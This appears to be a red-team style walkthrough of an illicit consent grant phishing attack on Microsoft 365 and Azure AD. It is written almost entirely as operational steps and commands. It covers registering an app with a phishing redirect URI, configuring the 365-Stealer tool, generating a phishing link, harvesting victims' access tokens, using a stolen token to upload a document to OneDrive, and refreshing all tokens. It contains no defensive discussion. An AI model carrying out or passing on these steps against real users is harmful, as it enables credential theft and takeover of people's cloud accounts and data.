Illicit Consent Grant phishing

Illicit consent grant phishing involves tricking users into granting unauthorized access to applications, often by disguising malicious requests as legitimate consent requests.

Here are the steps and commands involved in executing this attack:

1) Create an Application

Navigate to "Azure Active Directory" in the Azure portal.

Go to "App registrations" and click "New registration."

Set an application name and choose appropriate settings.

Use the URL of the phishing site in the redirect URI.

2) Create Client Secret

Go to "Certificates & Secrets" and create a new client secret.

Copy the generated client secret.

3) Add API Permissions

Go to "API permissions" and add permissions like 'user.read' and 'User.ReadBasic.All' for the Microsoft Graph.

4) Check User Consent Permissions

Import-Module AzureADPreview.psd1

Use another tenant account

$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>", $passwd)

Connect-AzureAD -Credential $creds

(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

5) Setup the 365-Stealer

Link: https://github.com/AlteredSecurity/365-Stealer

Copy the 365-stealer directory to the xampp directory.

Edit the 365-stealer.py and set the CLIENTID, REDIRECTEDURL, and CLIENTSECRET.

6) Start the 365-Stealer

& "C:\Program Files\Python38\python.exe"
C:\xampp\htdocs\365-Stealer\365-Stealer.py --run-app

7) Get the Phishing Link

Browse to https://localhost and click on "readmore." Copy the generated phishing link.

8) Enumerate Applications for Phishing

Edit the permutations.txt file to add permutations

. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureSubDomains.ps1

Invoke-EnumerateAzureSubDomains -Base <BASE> –Verbose

9) Get the Access Tokens

Browse to http://localhost:82/365-Stealer/yourvictims/ and copy the access token from access_token.txt.

10) Get Admin Consent

Grant admin consent for additional permissions required for the attack.

11) Abuse the Access Token

Upload a Word document to OneDrive using the stolen access token.

12) Refresh All Tokens

python3 365-Stealer.py --refresh-all